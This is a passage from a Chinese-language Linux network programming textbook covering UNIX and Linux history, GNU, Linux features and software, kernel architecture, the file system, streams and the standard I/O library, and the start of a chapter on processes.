有显著的差异。事实上,这正是问题之所在。许多操作系统都没有被设计为 能在多种机器上跑。类似地,许多机器又为了某种特定的操作系统而设计。例如,如果硬 件能完成进程之间的保护,操作系统利用这功能就很有意义了。 UNIX 很快被移植到其它类型的 PDP-11 上。每个都有些很有趣的功能且不断地加大了 UNIX 可支持硬件的复杂度(这些功能包括浮点处理器,可写微码,内存管理和保护,分 离的命令和数据空间等等)。然而,PDP-11 系列很明显地都是基于 16 位地址空间的,所有 的程序都实现于 64Kb 的大小。很滑稽的是这到促进了小程序的编写。有了支持合作进程 的管道以及 exec()之后,通过它们将几个小的应用连接一个大的应用。这是 UNIX 编程的 一个特点,也许我们要感谢 PDP-11 有限的地址空间。UNIX 被移植到 IBM 的 Series1 小型 机上(尽管有人认为这好比是将物质与反物质结合在一起)。Series1 有与 PDP-11 相同的字 大小,但它的字节是颠倒的。因此当系统初次启动时它打印出来的是“ NUXI” 而不是: “ UNIX”。从那时起,“ NUXI” 问题就成了字节顺序问题的代名词。 1977 年,加利福尼亚伯克利分校(the University of California, Berkeley)的计算机科 学系开始发行他们的 Pascal 解释器。其中还包括了一些新的设备驱动程序,对核心的修改, ex 编辑器,和一个比 V6 的 Shell 更好用的 Shell(“ Pascal Shell” )。这就是所谓的 1BSD(1st Berkeley Software Distribution)。 1.4.3 1979 – UNIX 第七版 1979 年 UNIX 的第七版发行了。Version 7 包括了一个完整的 K&R C 编译器,它首次 包括了强制类型转换,联合和类型定义。系统还提供了一个更为复杂的 Shell(称为“ sh” 或“ Bourne shell”,取自它的作者之一,Stephen Bourne)。系统支持更大的文件。由于不 懈的努力移植的结果,核心更加鲁棒,系统有了更多的外设驱动程序。 第七版的程序员手册以达到了大约 400 页(仍然可以很合适地装在一卷里)。UNIX 的 其它读物则成为了第二和第三卷,大约各有 400 页。 在贝尔实验室,John Reiser 和 Tom London 将 V7 UNIX 移植到了 VAX 机上。这次移 植称为 UNIX32V。在某种程度上,VAX 是一个大一点的 PDP-11,按这样的理解移植工作 相对容易些。为了让 UNIX 快速移植和跑得快点,VAX 上的特殊硬件功能(换页)被忽略 了。虽然如此,由于 VAX 比 PDP-11 有了相当大的地址空间(4Gb),不带换页功能的 UNIX 仍旧在实验室里广为流传,且用了好一段时间。伯克利也获得了该版本并作为进一步研究 的基础。 Whitesmith 是第一个商业 C 编译器供应商。不幸的是由于在许可证问题上不够明确, C 编译器的库函数不得不故意使用不兼容的函数名和参数规范。之后,C 语言的用户接口 (函数名)被裁决为不能拥有版权,现在 Whitesmith 的 C 与 UNIX 兼容了。 第 1 章 概论 - 11 - 1.4.4 UNIX 仅仅是历史吗? UNIX 仅仅是历史吗? 不,UNIX 就在这。IDC(International Data Corporation)报导, 1985 年 UNIX 的市场大约价值$3.6 billion。全世界大约有 6%的预算是花在计算机上的。 根据 1987 年 12 月发行的 UNIX WORLD,该年度有大约$5.5 billion 花在 UNIX 系统上, 其中 10%是花在人员方面。IDC 估计该年度全世界有大约 8%的预算是用于计算机的。Novon 研究组宣称 1987 年间有大约 300,300 套 UNIX 系统出售。在使用的 UNIX 系统达 750,000 套。估计有 4.5 billion 的 UNIX 用户,而且用户花在 UNIX 上的机时高于 DOS 的。 预计 1990 年将销售的 UNIX 系统达 450,000 套,大部分是商业用途。到 1991 年, UNIX 市场将占整个计算机市场的 20%,而且还将不断地持续增涨。很清楚,UNIX 是成功的一 例。Dennis 和 Ken 曾说:“ UNIX 的成功并不是过分依赖于新的创意,更重要的是她是从 一组丰富的概念中精选并充分发掘的产物。” 这可能不是人们问 UNIX 为什么如此成功所 期望得到的答案。不管怎样,不断增涨的 UNIX 发行数目和 UNIX 持续的健康发展是惊人 的。 1.5 Linux 的发展 在迅猛发展的国际互联网上,有这样一群人,他们是一支由编程高手,业余计算机玩 家,黑客们组成的奇怪队伍,完全独立地开发出在功能上毫不逊色于微软的商业操作系统 的一个全新的免费 UNIX 操作系统——Linux(发音为 Li-nucks),成为网络上一支不可小 视的力量,以不到四年的微薄资格就成为微软的一个强劲对手。据很不精确的统计,全世 界使用 Linux 操作系统的人已经有数百万之多,而且绝大多数是在网络上使用的。而在中 国,随着 Internet 大潮的卷入,一批主要以高等院校的学生和 ISP(Internet Service Provider) 的技术人员组成的 Linux 爱好者队伍也已经蓬蓬勃勃地成长起来,可以说在中国,随着网 络的不断普及,免费而性能优异的 Linux 操作系统必将发挥出越来越大的作用。 Linux 是什么?按照 Linux 开发者的说法,Linux 是一个遵循 POSIX 标准的免费操作 系统,具有 BSD 和 SYSV 的扩展特性(表明其在外表和性能上同常见的 UNIX 非常相象, 但是所有系统核心代码已经全部被重新编写了)。它的版权所有者是芬兰籍的 Linus B. Torvalds 先生(Linus.Torvalds@Helsinki.FI)和其他开发人员,并且遵循 GPL 声明(GNU General Public License)。 Linux 可以在基于 Intel 386,486,Pentium,PentiumPro,Pentium MMX,PentiumII 型处理器以及 Cyrix,AMD 的兼容芯片(如 6x86,K6 等芯片)的个人计算机上运行,它 可以将一台普通的个人电脑立刻变成一台功能强劲的 UNIX 工作站,在 Linux 上可以运行 大多数 UNIX 程序:TEX,X Window 系统,GNU 的 C/C++编译器。它让用户端坐家中就 可以享受 UNIX 的全部威力。如今有越来越多的商业公司采用 Linux 作为操作系统,例如 科学工作者使用 Linux 来进行分布式计算,ISP 使用 Linux 配置 Intranet 服务器,电话拨号 服务器等网络服务器,CERN(西欧核子中心)采用 Linux 做物理数据处理,美国 98 年 1 月最卖座的影片《泰坦尼克号》的片中计算机动画的设计工作就是在 Linux 平台下进行的。 更有趣的是去年 InfoWorld 把年度最佳技术支持奖颁给了 Linux,给批评自由软件没有良好 服务的人好好地上了一课。越来越多的商业软件公司宣布支持 Linux。在国外的大学中很 - 12 - Linux 网络编程 多教授用 Linux 来讲授操作系统原理和设计。当然对于大多数用户来说最重要的一点是, 现在我们可以在自己家中的计算机上进行 UNIX 编程,享受阅读操作系统的全部源代码的 乐趣了! 1.5.1 Linux 的发展历史 如果以人类的年龄来算的话,Linux 还是一个没有上学的七岁小娃娃。1991 年 8 月一 位来自芬兰赫尔辛基大学的年轻人 Linus Benedict Torvalds,对外发布了一套全新的操作系 统。事情的缘起是这样的:为了实习使用著名的计算机科学家 Andrew S. Tanenbaum 开发 的 Minix(一套功能简单,简单易懂的 UNIX 操作系统,可以在 8086 上运行,后来也支持 80386,在一些 PC 机平台上非常流行),Linus 购买了一台 486 微机,但是他发现 Minix 的 功能还很不完善,于是他决心自己写一个保护模式下的操作系统,这就是 Linux 的原型。 最开始的 Linux 是用汇编语言编写的。主要工作是用来处理 80386 保护模式 1991 年 10 月 5 日,Linus 发布了 Linux 的第一个“ 正式” 版本: 0.02 版,现在 Linus 可以运行 bash(GNU 的一个 UNIX shell 程序),GCC(GNU 的 C 编译器),它几乎还是什 么事情也做不了,但是它被设计成一个黑客的操作系统,主要的注意力被集中在系统核心 的开发工作上了,没有人去注意用户支持,文档工作,版本发布等等其他东西。 最开始的 Linux 版本被放置到一个 FTP 服务器上供大家自由下载,FTP 服务器的管理 员认为这是 Linus 的 Minix,因而就建了一个 Linux 目录来存放这些文件,于是 Linux 这个 名字就传开了,如今已经成了约定俗成的名称了。 然后这个娃娃操作系统就以两个星期出一次新的修正版本的速度迅速成长,在版本 0.03 之后 Linus 将版本号迅速提高到 0.10,这时候更多的人开始在这个系统上工作。在几次修 正之后 Linus 将版本号提高到 0.95,这表明他希望这个系统迅速成为一个“ 正式” 的操作 系统,这时候是 1992 年,但是直到一年半之后,Linux 的系统核心版本仍然是 0.99.p114, 已经非常接近 1.0 了。 Linux 终于在 1994 年的 3 月 14 日发布了它的第一个正式版本 1.0 版,而 Linux 的讨论 区也从原来的 comp.os.minix 中独立成为 alt.os.linux,后来又更名为 comp.os.Linux。这是 USENET 上有名的投票表决之一,有好几万用户参加了投票。后来由于使用者越来越多, 讨论区也越来越拥挤又不得不再细分成 comp.os.linux.*,如今已经有十几个讨论组了,这 还不把专门为 Redhat Linux 和 Debian Linux 设的讨论组计算在内。这个讨论组也是 USENET 上最热闹的讨论组之一,每天都有数以万计的文章发表。 目前 Linux 已经是一个完整的类 UNIX 操作系统了。其最新的稳定核心版本号为 2.2.11。 Linux 的吉祥物,是一只可爱的小企鹅(起因是因为 Linus 是芬兰人,因而挑选企鹅作 为吉祥物)。 说到这里,就不得不说一下同 Linux 密切相关的 GNU 了,如果没有 GNU,Linux 也 许不会发展得这么快,可是如果没有 Linux,GNU 也不会有如今这么巨大的影响力。 1.5.2 什么叫 GNU? GNU 就是 GNU's Not Unix 的缩写,GNU 的创始人 Stallman 认为 UNIX 虽然不是最 第 1 章 概论 - 13 - 好的操作系统,但是至少不会太差,而他自信有能力把 UNIX 不足的地方加以改进,使它 成为一个优良的操作系统,就是名为 GNU 的一个同 UNIX 兼容的操作系统,并且开发这 个系统的目的就是为了让所有计算机用户都可以自由地获得这个系统。任何人都可以免费 地获得这个系统的源代码,并且可以相互自由拷贝。因而在使用 GNU 软件的时候我们可 以理直气壮地说我们使用的是正版软件。当然 GNU 也是有自己的版权声明的,就是它有 名的 Copyleft(相对于版权的英文 Copyright),就是用户获得 GNU 软件后可以自由使用和 修改,但是用户在散布 GNU 软件时,必须让下一个用户有获得源代码的权利并且必须告 知他这一点。这一条看似古怪的规定是为了防止有些别有用心的人或公司将 GNU 软件稍 加修改就去申请版权,说成是自己的产品。其目的就是要让 GNU 永远是免费和公开的。 GNU 是谁发起的? GNU 是由自由软件基金会 (Free Software Foundation,FSF)的 董事长 Richard M. Stallman (RMS)于 1984 年发起的,如今已经有十几年的历史了。Stallman 本来是在美国麻省理工学院的人工智能实验室从事研究工作的研究员,同时也是世界上可 数的几个顶尖程序员之一,他的最著名的作品也是 GNU 的第一个软件就是 GNU Emacs, UNIX 平台上的一个编辑器。这个软件推出后受到广大 UNIX 用户 的热烈欢迎,由于它同 时提供源代码,大家都热心地替它排除错误,增加功能,它的功能越来越强大,终于成为 UNIX 平台上最好的编辑器,上至 CRAY 超级计算机,下至最普遍的 PC 机,从 DOS 到 Windows,从 VMS 到 UNIX 都可以使用这个 Emacs。受到这个软件成功的鼓励,Stallman 成立了自由软件基金会,以推广 GNU 计划。基金会成立之后,主要靠一些厂家的捐献和 出售 GNU 程序的使用手册,以及拷贝 GNU 软件的电脑磁带和光盘来维持,不过许多硬件 厂家开始基金会提供高性能的工作站,这其中包括 HP 和 SONY,AT&T 这样的国际性大 公司。 1.5.3 Linux 的特色 Linux 具有以下的特色: 1.多工系统——同时执行多个进程。 2.多人使用——同一部机器可供多人同时使用。 3.须在 386 protected mode 下执行。 4.采用保护模式的方式执行各个进程, 所以个别的进程失控不会造成系统死机。 5.Linux 在磁盘上只读取程序中实际用到的部份(动态联结 dynamic linking)。 6.各程序可使用 copy-on-write pages 上的资料,意即多个程序可以使用同一块内存区。 最初几个程序共用一块内存区域,但当某个程序尝试写入这段内存时, 该 page(4KB)就 被拷贝一份到别的地方, 以後该程序的那 4KB 就指向新的 page。如此一来可增加速度并减 少内存的使用。 7.Linux 可使用虚拟内存,但须在硬盘上规划一块区域作置换用的 partition。 8.Linux 符合 POSIX 定义, 原代码与 System V、及一部份的 BSD 和 SVR4 完全兼容。 9.透过 iBCS2 模拟可执行大部份 SCO UNIX、SVR3、SVR4 的程序。 10.所有的原代码都是可免费获得的,包括所有的核心程序、驱动程序、发展工具程 序、使用者的程序。目前尚有些商用程序提供给 Linux 的使用者使用,但并无附上原代码。 11.支持多国语言键盘且易新增。 12.多重虚拟的 consoles——可使用热键作更换。 - 14 - Linux 网络编程 13.支持数种常见的文件系统 minix-1、Xenix、System V filesystems, DOS,FAT, OS/2 的 HPFS(read-only)。本身支持两种 file system:EXT2 and XIAFS,且文件名称长度 可至 256 个字。 14.“ UMSDOS(Unix-like MSDOS)” 可在 DOS partition 中安装 Linux。 15.支持的 CD-ROM 文件系统,可读取各种标准 CD-ROM 格式, 如 ISO 9660。 16.TCP/IP 网络,包含 ftp ,telnet ,NFS 等。 1.5.4 硬件需求 Linux 对硬件并不挑剃,可以在很多机器上运行,只是效率可能会差很多。 1.最少的设备需求 386SX、2 MB RAM、1.44 MB or 1.2 MB 软驱、支持的 video card,以上这些仅可供你 测试 Linux 是否可在此部机器上执行。若有 5 MB 至 10 MB 的硬盘空间,则可安装一些公 用程序、shells、系统管理程序等。 2.较佳的设备需求 若你要去执行一些较需计算的程序,如 gcc,X,Tex 等,那则需要比 386SX 更快的 CPU, 否则你就要多点耐心了。至少你将需要 4MB RAM,若要执行 X-Window 或让多人同时使 用,则至少将需 8MB RAM 才足够。 假若使用较少的内存,虽然还是能执行,因它将使用虚拟内存(那需用到硬盘),但 其速度之慢会让人情绪不好...较多的内存对 DOS 而言虽无太大的帮助,但对 Linux 可就 有其相当的价值的。 至於硬盘的容量需求则要看你要存储多少东西而定。一般需要 10MB 的空间来装一些 公用程序、shells、系统管理程序等。一个较完备的系统则需要 Slackware,MCC,Debian 或 Linux/PRO,及其他共享软件,这些东西需要 60MB 至 200MB 的空间才够。 1.5.5 Linux 可用的软件 大部分常用的 Unix 工具和程序已经移植到 Linux 上了,包含大部分的 GNU 程序和许 多 X client。其实移植这些软件到 Linux 上是很容易的事,大部分的程序原代码在 Linux 上 重新编译时都不须修改或是只要修改一些即可,因为 Linux 几乎完全符合 POSIX 的标准。 可惜的是目前 Linux 上供一般 user 用的套装软件并不很多,以下将列出已知可在 Linux 上 使用的软件: 基本的 Unix 命令。ls,tr,sed,awk 等一般 Unix 都有的命令。 软件发展工具。gcc,gdb,make,bison,flex,perl,rcs,cvs,gprof。 X-Window 环境。X11R5(XFree 2.1.1),X11R6(XFree 3.1)。 文字编辑器。GNU Emacs,Lucid Emacs,MicroEmacs,jove,epoch,elvis(GNU vi),vim,vile,joe,pico,jed。 Shells。Bash(h-compatible),zsh(与 ksh 相容),pdksh,tcsh,csh,rc,ash。 通讯程序。Taylor(BNU 兼容)UUCP,kermit,szrz,minicom,pcomm,xcomm, term,Seyon。 News 和 mail。C-news,innd,trn,nn,tin,smail,elm,mh,pine。 第 1 章 概论 - 15 - 文字处理排版。Tex,groff,doc,ez。 PostScript 软件。Ghostscript, GhostView(X-Window)。 WWW。NCSA Mosaic,Netscape。 GAME。Nethack,一些 Mud 和 X-Window 上的 game。 套装软件。AUIS,the Andrew User Interface System。 以上这些软件程序当然也都是免费的。 1.5.6 为什么选择 Linux ? 下面是一些选择 Linux 的原因: Linux 是“ 免费” 的,上面又有那么多“ 免费” 的软件,为什么不用? 瘟都死实在太不稳定了,受不了,换个平台吧。 我想学习 Unix,可是钱包里钞票不多,先从 Linux 开始吧。 我想学习操作系统,哪里有开放原代码的 OS?而且还要很活跃,有前途。 我对网络并行计算有兴趣,基于 Linux 的并行计算不但费用低廉而且功能强大有 潜力,重要的是有源码。 我是(或想成为)一名 Hacker,Linux 当然是最好的工具之一。 Linux 这么热,潜在的商业价值不可限量,尽早转移以便在未来有较好的一席之 地。 惊奇地发现 Linux 性能相当的好,稳定性也很好,用它替换商业操作系统真是明 智的选择。 Oracle,Infomix,Sysbase,IBM 都支持 Linux 了,用它来做数据库平台也挺不错。 烦了一次又一次去买许可证(奸商经常设这样的陷阱),Linux 遵循公共版权许可 证(GPL)正合我意。 Linux 太适合 Internet/Intranet,它本身就是通过网络来协同开发的,网络时代为 什么不用 Linux? 采用 Linux 可以极大地降低拥有者总成本(TCO)。 等待商业操作系统补丁的耐心是有限度的,更受不了总被商家牵着鼻子走,开放 原代码的 Linux 使我至少有一定的控制权。 开放原代码使我可以按照自己的需要添加或删除某些功能,用户可定制性真是太 好了!! 利用开放原代码的 Linux 还可以来开发路由器,嵌入式系统,网络计算机,个人 数字助理等等,GNU 真是巨大的知识宝库,何乐而不用?(中国的 IT 业者真该仔细考虑 这个问题) 我崇尚自由软件的精神,自由程序员是我的梦想,愿意为之贡献自己的力量!! 不为什么⋯ ⋯ 1.6 Linux 和 Unix 的发展 很多年中,贝尔实验室一直是开发 Unix 的中心机构,1990 年,AT&T 更新组建了一 个机构,称为 Unix 系统实验室,称为 USL,来控管这项工作,1993 年 6 月,AT&T 将 USL - 16 - Linux 网络编程 卖给了 NOVELL 公司,1993 年 10 月,NOVELL 公司将“ Unix” 改为 X/open,它是一个国 际标准化组织. 现在 Unix 有很多版本,但是它们都有两个显著的特点:多任务多用户的分时系统。多 用户指在同一时刻可以支持多个用户,多任务指在同一时刻可以执行多道程序。 Unix 的一个重要分支来源于加利福尼亚大学的贝克利分校(Berkeley)。最初,Berkeley Unix 基于 AT&T Unix,但最新的版本设计的程序要比 AT&T System V 灵活的多。Berkeley Unix 的正规名称是 BSD,是 Berkeley Software Distribution 的词头缩写。 虽然 Unix 有多种版本(表 1-4),担实际上它们或基于 BSD,或基于 System V,或者 基于二者之上。 表 1-4 Unix 的各种版本 Unix 的名称 公司或组织,机构名称 386BSD internet 免费提供 AIX IBM A/UX Apple BSD 加利福尼亚大学的贝克利分校 BSD-LITE 加利福尼亚大学的贝克利分校 Goherent BSDI Dynix Scquent FreeBSD internet 免费提供 HP-UX HP Hurd(GNN) FSF Interactive Graphics Linux internet 免费提供 Mach Carnegie-Mellon Minix AndyTanenbaum MKSToolkit MorticeKer NetNSD internet 免费提供 Nextstep Next OSF/1 DEC SCOUnix SarctaCruzOperation Solaris SunMicrosystem SunOs SunMicrosystem SystemVUnix pc 机上的各种版本 Unicos CrayResearch Unixware Novell UNIX/Linux 模型 - 17 - 第二章 UNIX/Linux 模型 2.1 UNIX/Linux 基本结构 图 2-1 绘出了 UNIX 系统的高层次的体系结构。图中心的硬件部分向操作系统提供基 本服务。操作系统直接与硬件交互,向程序提供公共服务,并使他们同硬件特性隔离。当 我们把整个系统看成层的集合时,通常将操作系统成为系统内核,或简称内核,此时强调 的是它同用户程序的隔离。因为程序是不依赖于其下面的硬件的,所以,如果程序对硬件 没做什么假定的话,就容易把它们在不同硬件上运行的 UNIX 系统之间迁移。比如,那些 假定了机器字长的程序比起没假定机器字长的程序来就较难于搬到其它机器上。 外层的程序,诸如 shell 及编辑程序(vi),是通过引用一组明确定义的系统调用而与 内核交互的。这些系统调用通知内核为调用程序做各种操作,并在内核与调用程序之间交 换数据。图中出现的一些程序属于标准的系统配置,就是大家所知道的命令。但是由名为 a.out 的程序所指示的用户私用程序也可以存在于这一层。此处的 a.out 是被 C 编译程序产 生的可执行文件的标准名字。其它应用程序能在较低的程序层次之上构筑而成,因此它们 存在于本图的最外层。比如,标准的 C 编译程序 cc 就处在本图的最外层;它引用 C 预处 理程序、两次编译程序、汇编程序及装入程序(称为连接—编译程序),这些都是彼此分开 的低层程序。虽然该图对应用程序只描绘了两个级别的层次,但用户能够对层次进行扩从, 直到级别的数目适合于自己的需要。确实,为 UNIX 系统所偏爱的程序设计风格鼓励把现 存程序组合起来去完成一个任务。 图 2- 1 UNIX 系统的高层次的体系结构 一大批提供了对系统的高层次看法的应用子程序及应用程序,诸如 shell、编辑程序、 SCCS(Source Code Control System)及文档准备程序包等,都逐渐变成了“ UNIX 系统” 这一名称的同义语。然而,它们最终都使用由内核提供的底层服务,并通过系统调用(System Call)的集合利用这些服务。系统调用的集合及其实现系统调用的内部算法形成了内核的 18 - Linux 网络编程 主体。简言之,内核提供了 UNIX/Linux 系统全部应用程序所依赖的服务,并且内核的定 义了这些服务。下面我们将进一步介绍内核,对内核的体系结构提出一个总的看法,勾画 出它的基本概念和结构,这将帮助读者更好的学习以后的内容。 图 2-2 Unix 系统内核结构 图 2-2 给出了内核的框图,示出了各种模块及他们之间的相互关系,特别的,它示出 了内核的两个主要成分:左边的文件子系统和右边的进程控制子系统。虽然,在实际上, 由于某些模块同其它模块的内部操作进行交互而使内核偏离该模型,但该图仍可以作为观 察内核的一个有用的逻辑观点。 在图 2-2 中我们看到了三个层次:用户、内核及硬件。系统调用与库接口体现了图 2-1 中描绘的用户程序与内核间的边界。系统调用看起来象 C 程序中普通的函数调用,而库把 这些函数调用映射成进入操作系统所需要的源语。然而,汇编语言程序可以不经过系统调 用库而直接引用系统调用。程序常常使用像标准 I/O 库这样一些其它的库程序以提供对系 统调用的更高级的使用。由于在编译期间把这些库连接到程序上,因此,以这里的观点来 说,这些库是用户程序的一部分。 图 2-2 把系统调用的集合分成与文件子系统交互作用的部分及与进程控制子系统交互 作用的部分。文件子系统管理文件,其中包括分配文件空间,管理空闲空间,控制对文件 的存取,以及为用户检索数据。进程通过一个特定的系统调用集合,比如通过系统调用 open,close,read,write,stat,chown 以及 chmod 等与文件子系统交互。 文件子系统使用一个缓冲机制存取文件数据,缓冲机制调节在核心与二级存储设备之 UNIX/Linux 模型 - 19 - 间的数据流。缓冲机制同块 I/O 设备驱动程序交互作用,以便启动往核心去的数据传送及 从核心的来的数据传送。设备驱动程序是用来控制外围设备操作的核心模块。块 I/O 设备 是随机存取存储设备,或者说,它们的设备驱动程序似的它们的设备驱动程序使得它们对 于系统的其它部分来说好像是随机存取存储设备。例如,一个磁带驱动程序可以允许核心 把一个磁带装置作为一个随机存取存储设备看待。文件子系统和可以在没有缓冲机制干预 的情况下直接与“ 原始” I/O 设备驱动程序交互作用。原始设备,有时也被成为字符设备, 包括所有非块设备的设备。 进程控制子系统负责进程同步、进程间通讯,存储管理及进程调度。当要执行一个文 件而把该文件装入存储器中时,文件子系统与进程控制子系统交互:进程子系统在执行可 执行文件之前,把它们读到内存中。输入输出存储管理模块控制存储分配。在任何时刻, 只要系统没有足够的屋里存储供所有进程使用,核心就在内存与二级存储之间对进程进行 交换,以便所有的进程都得到公平的执行机会。 调度程序模块把 CPU 分配给进程。该模块调度各进程依次运行,直到它们因等待资源 而自愿放弃 CPU,或者知道它们最近一次的运行时间超出一个时间量,从而核心抢占它们。 于是调度程序选择最高优先权的合格进程投入运行;当原来的进程成为最高优先权的合格 进程时,还会再次投入运行。进程间通信有几种形式,从时间的异步软中断信号到进程间 消息的同步传输,等等。本书中主要的讲的网络通信,也是进程间通信的一种。 最后,硬件控制负责处理中断及与及其与机器通信。象磁盘或终端这样的设备可以在 一个进程正在执行时中断 CPU。如果出现这种情况,在对中断服务完毕之后核心可以恢复 被中断了的进程的执行。中断不是由特殊的进程服务的,而是由核心中的特殊函数服务的。 这些特殊函数是在当前运行的进程上下文中被调用的。 2.2 输入和输出 输入和输出是交互式的操作系统的一个重要的组成部分。在 UNIX/Linux 中,采用了 以抽象文件为基础的输入/输出系统,减少了系统对硬件的依赖性,简化了输入/输出的操作, 同时又增加了代码的灵活性。但是,由于使用了抽象的概念,所以在理解和掌握上有一定 的难度,需要认真的体会。下面,我们就简要介绍一下 UNIX 的文件系统。 2.2.1 UNIX/Linux 文件系统简介 UNIX 的文件系统有如下的特点: 层次结构 对文件数据的一致对待 建立与删除文件的能力 文件的动态增长 文件数据的权限保护 把外围设备作为文件看待 文件系统被组织成树状,称为目录树。目录树有一个成为根(root)的节点(记做“ /”)。 文件系统结构中的每个非树节点都是文件的一个目录(directory),树的叶节点上的文件既 可以是目录,也可以是正规文件(regular files),还可以是特殊设备文件(special device files)。 文件名由路径名(path name)给出,路径名描述了怎样在一个文件系统树中确定一个文件 的位置。路径名是一个分量名序列,各分量名之间用“ /” 隔开。分量是一个字符序列,它 致命一个北唯一的包含在前级(目录)分量中的文件名。一个完整的路径名由一个斜杠字 符开始,并且指明一个文件,这个文件可以从文件系统的根开始,沿着该路径名的后继分 20 - Linux 网络编程 量名所在的那个分支游历文件树而找到。 在 UNIX/Linux 系统中,程序不了解内核按怎样的内部格式存贮文件,而把数据作为 无格式的字节流看待。程序可以按他们自己的意愿去解释字节流,但这种解释与操作系统 如何存储数据无关。因此,对文件中数据进行存取的语法是由系统定义的,并且对所有的 程序都是同样的。但是,数据的语义是由程序自己定义的。比如,正文格式化程序 troff 希 望在正文的每一行尾部着到换行符,而系统记帐程序则希望找到定长记录。两个程序都使 用相同的系统服务,以存取文件中作为字节流存在的数据,而在程序内部,它们通过分析 把字节流解释成适当的格式。如果哪一个程序发现格式是错误的,则由它自己负责采取适 当的行动。 从这方面说,目录也像正规文件。系统把目录中的数据作为字节流看待。但是由于该 数据中包含许多以预定格式记录的目录中的文件名,所以操作系统以及诸如 ls 这样的程序 就能够在目录中发现文件。 对一个文件的存取权限由与文件相联系的 access permissions 所控制。存取权限能够分 别对文件所有者,同组用户及其它人这三类用户独立的建立许可权,以控制读写及执行的 许可权。如果目录存取权限允许的话,则用户可以创建文件。新创建的文件是文件系统目 录结构的树叶节点。 对于用户来说,UNIX 系统把设备看成文件。以特殊设备文件标名的设备,占据着文 件系统目录结构中的节点位置。程序存取正规文件时使用什么语法,他们在存取设备时也 使用什么语法。读写设备的语义在很大程度上与读写正规文件时相同。设备保护方式与正 规文件的保护方式相同:都是通过适当建立它们的(文件)存取许可权实现的。由于设备 名看起来象正规文件名,并且对于设备和正规文件能执行相同的操作,所以大多数程序在 其内部不必知道它们所操纵的文件的类型。 2.2.2 流和标准 I/O 库 UNIX/Linux 内核为我们提供了一系列用于访问文件系统(包括其它 I/O 设备)的系统 调用,如 open,close 等,通过这些系统调用我们可以实现全部的 I/O 功能。但由这些系统调 用组成的 I/O 系统也存在使用不便,缺乏灵活性等的缺点。 为了提高 I/O 系统的模块性和灵活性,Ritchie 提出了流的概念。“ 流” 是在内核空间中 的流驱动程序与用户空间中的进程之间的一种全双工处理和数据传输通路。在内核中,流 通过流首、驱动程序以及它们之间的零个或多个模块组成。流首是流最靠近用户进程的那 一端。由流上用户进程发出的所有系统调用都由流首处理。 流驱动程序可以是提供外部 I/O 设备服务的一种设备驱动程序;也可以是一种软件驱 动程序,通常这种驱动程序称为伪设备驱动程序。流驱动程序主要处理内核与设备间的数 据传输。除了进行流机制使用的数据结构与该设备理解的数据结构间的转换之外,它很少 或根本不处理别的数据。 在流首和驱动程序之间可以插入一个或多个模块,以便在流首和驱动程序间传递消息 时对其进行中间处理。流模块由用户进程在流中动态的互联。创建这种连接不需要内核编 程、汇编或连接编辑。 流使用队列结构,以保持与压入的模块或打开的流设备有关的信息。队列总是成对分 i 节点(inode): Linux 缺省使用一种叫 EXT 2 的文件系统,在这种文件系 统中,每个文件在它所在的目录中都有一个对应的 inode,其中 保存了文件的文件名,长度,存取权限等信息。可以这样认为: 目录就是由 inode 所组成的特殊文件。 UNIX/Linux 模型 - 21 - 配,一个用于读另一个用于写。每一个驱动程序、模块和流首都各有一个队列对。只要打 开流或者把模块压入到流中,就分配队列对。 数据以消息的形式在驱动程序和流首之间以及在模块间传递。消息是一组数据结构, 它们用于在用户进程、模块和驱动程序间传递数据、状态和控制信息。从流首向驱动程序, 或者从继承向设备传递的消息称之为“ 顺流” 传播(也称之为“ 写侧”)。类似的,消息以 另一方向传递,即从设备向进程或从驱动程序向流首方向传递,称之为“ 逆流” 传播(也 称之为“ 读侧”)。 一个流消息由一个或多个消息块构成。每一个“ 块” 是由首部、数据块和数据缓冲区 组成的三元组,流首在用户进程的数据空间和流内核数据空间之间传输数据。用户进程发 送给驱动程序的数据被打包成流消息,然后顺流传递。当包含数据的消息经由逆流到达流 首时,此消息由流首处理,它把数据复制到用户缓冲区中。 在流内部,消息由类型指示符区分。逆流发送的某些消息类型可能导致流首执行特定 的动作,如,送一个信号给用户进程。其它消息类型主要在流内部传递信息,用户进程不 会直接见到这些消息。 流的概念已经被 UNIX/Linux 系统所广泛使用。如进程通信中的管道就是用流来实现 的。 Ritchie 还为 C 开发了一个基于流的 I/O 库,称为标准 I/O 库。这个库具有有效的、功 能强大的和可移植的文件访问性能。组成库的例行程序提供了一个用户不可见的自动缓冲 机构,从而使得访问文件的次数和调用系统调用的次数最小化,取得了较高的效率。这个 库的使用范围较广,因为它提供了许多比系统调用 read 和 write 更强的性能,如格式输出 和数据转换等。标准 I/O 例行库还是可移植的,它们不受任何 UNIX 的特殊性的限制,并 且已经成为与 UNIX 无关的 C 语言 ANSI 标准部分。任何 C 编译程序都提供对标准 I/O 库 全部例行程序的访问,而不管其操作系统是什么。 输入输出(文件系统及其操作)是 UNIX/Linux 程序设计中的基础和重要组成,但是 由于在大部分 C 语言教材中对此都有比较详细的介绍,故请对这个问题有兴趣的读者自行 参阅其它资料,这里不再赘述。 2.3 进程 在多道程序工作的环境下,操作系统必须能够实现资源的共享和程序的并发执行,从 而使程序的执行出现了并行、动态和相互制约的新特征。为了能反映程序活动的这些新特 点,UNIX 引入了进程(process)这个概念。UNIX 的进程是一个正在执行的程序的映象。 这里需要注意的是程序和进程的区别。一个程序是一个可执行的文件,而一个进程则是一 个执行中的程序实例。在 UNIX/Linux 系统中可以同时执行多个进程(这一特征有时称为 多任务设计),对进程数目无逻辑上的限制,并且系统中可以同时存在一个程序的多个实例。 各种系统调用允许进程创建新进程、终止进程、对进程执行的阶段进行同步及控制对各种 事件的反映。在进程使用系统调用的条件下,进程便相互独立的执行了。 进程是 UNIX/Linux 程序设计中最重要的部分,在后面的章节中我们将对进程作详细 的介绍。 - 22 - Linux网络编程 第三章 进程控制 3.1 进程的建立与运行 3.1.1 进程的概念 在 UNIX 中,进程是正在执行的程序。它相当于 Windows 环境内的任务这一概念。每 个进程包括程序代码和数据。其中数据包含程序变量数据、外部数据和程序堆栈等。 系统的命令解释程序 shell 为了执行一条命令,就要建立一个新的进程并运行它,例如: $cat file1 该命令就会使 shell 专门建立一个进程来运行 cat 命令。 再看一个复杂一些的命令: $ls | wc –ll 这个命令就会使 shell 建立两个进程,以并发运行命令 ls 和 wc,把目录列表命令 ls 的输 出通过管道送至字计数命令 wc。 因为一个进程对应于一个程序的执行,所以绝对不要把进程与程序这两个概念相混淆。 进程是动态的概念,而程序为静态的概念。实际上,多个进程可以并发执行同一个程序, 对于公用的实用程序就常常是这样。例如,几个用户可以同时运行一个编辑程序,每个用 